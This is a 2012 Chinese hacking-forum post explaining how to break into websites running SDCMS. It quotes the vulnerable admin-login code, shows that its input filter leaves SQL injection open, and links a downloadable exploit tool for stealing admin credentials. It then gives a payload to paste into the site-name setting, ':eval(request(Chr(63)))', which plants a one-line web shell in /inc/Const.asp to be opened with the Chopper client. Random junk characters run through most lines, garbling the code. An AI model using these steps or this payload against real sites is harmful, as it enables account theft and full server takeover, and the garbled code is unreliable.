找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3199|回复: 0
打印 上一主题 下一主题

SDCMS通杀漏洞利用工具及提权拿SHELL

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 20:57:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
作者:T00LS 鬼哥2 x1 ~! P4 _& }" Y( d6 V4 Q
漏洞文件:后台目录/index.asp4 U: A6 ]3 M4 K/ l

* A2 n$ S% K5 P6 ?7 E, LSub Check% t% J6 g: ^0 x- @; j) W  u; m
    Dim username,password,code,getcode,Rs
. L2 L- D) P. B) O2 c    IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub9 N8 i! S4 H9 s
    username=FilterText(Trim(Request.Form("username")),1)$ y! G4 |9 w- o8 @  K7 \% ^
    password=FilterText(Trim(Request.Form("password")),1)5 k8 e& n0 t( ^2 T: U
    code=Trim(Request.Form("yzm"))( K2 I5 S. c- L3 }: Z3 H
    getcode=Session("SDCMSCode")4 ^0 q; E& W+ z: M  F) b/ N
    IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died
$ q( w8 U, b( y9 X% N& A- G: D    IF code="" Then Alert "验证码不能为空!","javascript:history.go(-1)"ied+ |; z: I* h! l
    IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字!","javascript:history.go(-1)"ied
' e9 O+ h9 x! A) j3 ?; W6 q$ S6 E& n    IF code<>getcode Then Alert "验证码错误!","javascript:history.go(-1)"ied/ d- B* R( C" T# Y- z0 f
    IF username="" or password="" Then
) l# s, ^9 c# G6 z        Echo "用户名或密码不能为空"ied$ e2 I4 n$ g; [5 T& O, s
    Else
/ e4 `7 k8 {  I        Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")
% R* u* p$ N% \+ S# p2 _' T        IF Rs.Eof Then7 \$ h6 R- }2 Z9 O& ^# q1 D! d6 j
            AddLog username,GetIp,"登录失败",1/ P: _6 q5 |, S6 Z0 `5 P9 ^
            Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会": ~) H4 [* m/ V
        Else: [  M; H. c- O! H( Y8 @$ G" b
            Add_Cookies "sdcms_id",Rs(0)
' \- R% X- r4 ]; e' |0 f. W. n            Add_Cookies "sdcms_name",username# C3 _5 h5 I& I* D6 D
            Add_Cookies "sdcms_pwd",Rs(2)6 |5 ]! T' _2 q  j
            Add_Cookies "sdcms_admin",Rs(3)
2 r' l9 p/ o; K! R1 m* q            Add_Cookies "sdcms_alllever",Rs(4)
( u6 W. k1 K& j            Add_Cookies "sdcms_infolever",Rs(5)7 e6 b: e' _0 b
            Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")" y" C* l/ G) j7 E% k: E$ M; Z, K
            AddLog username,GetIp,"登录成功",1" t* F  [3 N: z
            '自动删除30天前的Log记录5 w* {" j8 g/ ~0 o
            IF Sdcms_DataType Then; R3 |! N6 L) N& ]7 b
                Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")8 T. k" ^, |1 K' o) d
            Else% |# t* Z/ z! s! ~# Z
                Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")
5 k  @" N4 J2 u            End IF5 c( z. d0 v9 T2 ~
            Go("sdcms_index.asp")0 h' Y4 Z! v# z
        End IF! z: h9 N8 s6 M7 D  M
        Rs.Close; N. B4 B3 t0 G
        Set Rs=Nothing+ x" W0 v  d( N# a& D0 F( H+ i
    End IF4 Y0 v0 x" Q( |% |! P  V' o
End Sub
6 j4 k6 e! ]; k) X) i, K6 r4 Z
, S9 |6 Z' O3 x6 {4 v, y’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码$ r9 I& K9 M* d4 d

2 n4 o7 c3 }3 s. ~' n/ c3 i. q3 NFunction FilterText(ByVal t0,ByVal t1)
( h7 \3 K4 a, E7 s    IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function
# B' Z9 y& @4 O7 a    t0=Trim(t0)
9 d& Y" l  {; x7 P; @    Select Case t18 H2 E% W$ Y8 l# o3 E# e; R0 R6 {1 s
        Case "1"# P& c* Z% g' F% ~' f
            t0=Replace(t0,Chr(32),"")0 `$ s3 S3 \3 t# }3 ^3 V- P1 u
            t0=Replace(t0,Chr(13),"")
1 a, z- E1 x% r( O            t0=Replace(t0,Chr(10)&Chr(10),"")  h3 {4 P7 F, J9 S/ W
            t0=Replace(t0,Chr(10),"")& z- F* p- F+ D6 l
        Case "2"
! t" ?% x- ]8 z6 p            t0=Replace(t0,Chr(8),"")'回格( g! V- {8 O, M  p
            t0=Replace(t0,Chr(9),"")'tab(水平制表符)
7 ]4 T0 ^/ w1 j2 m- f0 {; G            t0=Replace(t0,Chr(10),"")'换行
4 O. j# R0 \7 `& D* d" z            t0=Replace(t0,Chr(11),"")'tab(垂直制表符)
( T' c7 n6 V+ k            t0=Replace(t0,Chr(12),"")'换页. _/ f# A( Z6 B) M  m7 g5 N+ X
            t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合
) |6 h9 W  @7 ?' P! ]. ^            t0=Replace(t0,Chr(22),"")
; M4 C3 a. G0 L3 X' C+ J            t0=Replace(t0,Chr(32),"")'空格 SPACE; J7 L& ~! b2 l# d# ~# w+ i! W
            t0=Replace(t0,Chr(33),"")'!# j+ [2 @/ ]6 w! }$ T' L
            t0=Replace(t0,Chr(34),"")'"
* j! I' r' q: v% T4 [/ L& ^            t0=Replace(t0,Chr(35),"")'#
, r( J1 Y# {+ c/ n2 J0 b            t0=Replace(t0,Chr(36),"")'$
) i3 d, M0 N7 d2 K: V            t0=Replace(t0,Chr(37),"")'%
* L( R/ k; v1 ]' f            t0=Replace(t0,Chr(38),"")'&9 o- q1 A) E) I1 I! z
            t0=Replace(t0,Chr(39),"")''; ]" H+ {6 l; b7 Q$ J
            t0=Replace(t0,Chr(40),"")'(; M( }0 R, A- t" z
            t0=Replace(t0,Chr(41),"")')7 r9 b1 s) _' T9 |8 S8 X
            t0=Replace(t0,Chr(42),"")'*+ U6 J2 e) ?, F, Z; U4 O! ~
            t0=Replace(t0,Chr(43),"")'+. @# F5 p6 q4 i4 X9 H. g7 X
            t0=Replace(t0,Chr(44),"")',+ y. ~. [5 W, w  O  B  G
            t0=Replace(t0,Chr(45),"")'-5 f# S( s; |! Z( n7 p# h# H" w
            t0=Replace(t0,Chr(46),"")'.
* w# X" |$ F/ g1 P' M            t0=Replace(t0,Chr(47),"")'/
) }5 o' S6 K. r; R3 S            t0=Replace(t0,Chr(58),"")':. a8 ~7 t0 `5 n+ }2 T2 \! f
            t0=Replace(t0,Chr(59),"")';. l2 J0 l# M. S, m
            t0=Replace(t0,Chr(60),"")'<             t0=Replace(t0,Chr(61),"")'=             t0=Replace(t0,Chr(62),"")'>
1 t# G2 Z8 ~: |/ N. p            t0=Replace(t0,Chr(63),"")'?
3 U) t' ~1 K5 w- s& S, L; G            t0=Replace(t0,Chr(64),"")'@$ a+ {0 b8 b" n4 e1 G4 P6 a9 J- W: `
            t0=Replace(t0,Chr(91),"")'\
! Q4 H  S& W) M5 J" O. A7 A& b; t            t0=Replace(t0,Chr(92),"")'\7 L) R3 d' ]4 e& R: G
            t0=Replace(t0,Chr(93),"")']. @' ~+ f6 A0 u
            t0=Replace(t0,Chr(94),"")'^
' M! U% P; J2 O# d) }            t0=Replace(t0,Chr(95),"")'_
- d' S3 V2 f& h! z1 k            t0=Replace(t0,Chr(96),"")'`1 q5 t& K: h& [! j' i* m' U
            t0=Replace(t0,Chr(123),"")'{
  t/ e/ e' b- N& V0 N$ A8 }$ K            t0=Replace(t0,Chr(124),"")'|; K  d1 e) A! f/ O% g7 z
            t0=Replace(t0,Chr(125),"")'}- L8 X3 u" P* `
            t0=Replace(t0,Chr(126),"")'~
% S# P% e4 f6 u, ], j& I    Case Else
/ M- j* Y! R, m& n/ Z        t0=Replace(t0, "&", "&"). H5 B  ?- S: l9 ]' }, L- a2 U4 c$ O8 ?
        t0=Replace(t0, "'", "'")* ~: ^6 F7 v" u+ F  @
        t0=Replace(t0, """", """)
& M! ~) i  [! T# v& [+ h; c        t0=Replace(t0, "<", "<")         t0=Replace(t0, ">", ">")
+ g8 F( ?# N9 y8 J0 T1 j    End Select, Q' l  f& T1 L
    IF Instr(Lcase(t0),"expression")>0 Then2 t/ m8 W' L# R7 O9 [
        t0=Replace(t0,"expression","e&shy;xpression", 1, -1, 0), d3 P- s8 W7 P. P
    End If
2 m9 f3 e  d4 X' _    FilterText=t0
' A$ G4 N( S5 K3 z* Q" aEnd Function, y$ n" S2 }& X) i9 w. H

  e7 o, t- ^8 Y/ x2 ?3 y" }看到没。直接参数是1 只过滤- z: z, b; V% i" R
                        t0=Replace(t0,Chr(32)," ")2 R0 Z0 G  E0 p& |8 `0 t
                        t0=Replace(t0,Chr(13),"")7 [* Z/ Z+ t4 S; V
                        t0=Replace(t0,Chr(10)&Chr(10),"5 h2 D9 p% b$ A( ^, E
")
% Y3 _2 l4 }9 _* L4 Y  ~1 i                        t0=Replace(t0,Chr(10),"3 N$ n5 J& ]3 D% ]
")
, E0 b" ^! Z3 S$ h6 k& X, S  J9 W漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!
  m( J# p0 `  w% o, BEXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP
2 n, P. N, i" |9 x$ M7 D5 {' _9 M7 A) g" T" w
测试:, v8 n  R. ?* s# ^, h6 Q

3 Y! i& \2 b2 D! ^) b6 ^+ f
3 H; C4 _7 n) r% B0 F. _  S现在输入工具上验证码,然后点OK' W# C" ?/ i: e5 ^
# p' O% _% `8 g, q3 b2 |

3 M% T% ]1 O5 R9 ^看到我们直接进入后台管理界面了,呵呵!: y) A6 Z% Y1 L# f

  o8 {  @' f2 U5 D' K  x- V9 s( f+ N
0 v9 y" x6 v6 s- T& v9 z/ Q4 G3 x0 }' T
这样直接进入后台了。。。。2 R2 O: ^% w$ T& ?) C% R# f

- ]3 h# C0 Q2 @- n  V1 W
6 q. N3 D1 D; `( ~& O
2 o* ?% e* Z$ o- `6 @4 kSDCMS提权:
, y3 r0 {) M6 M* a
* s; b7 Y( T1 s  T) j. S% G1 a, A方法1:访问:/后台目录/sdcms_set.asp 在 网站名称:后面加个 “:eval(request(Chr(63)))’  即可,直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?
8 M  i% Q$ `! R5 ]  ~; q! l
6 I) K) U3 K* ^+ `) u( \2 u, V+ u9 L) |
( S0 w( I- A* x
OK,现在用菜刀连接下!
; r8 p2 o7 M0 J  Z$ b% d3 i, J+ ]6 `+ e

9 }& v: d7 O! y' b& j* U$ x, Q! B* E5 v# b! R

& i- {* g. G5 }" e: I& \8 q
' X; d6 f2 T  d: J8 Z6 \
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表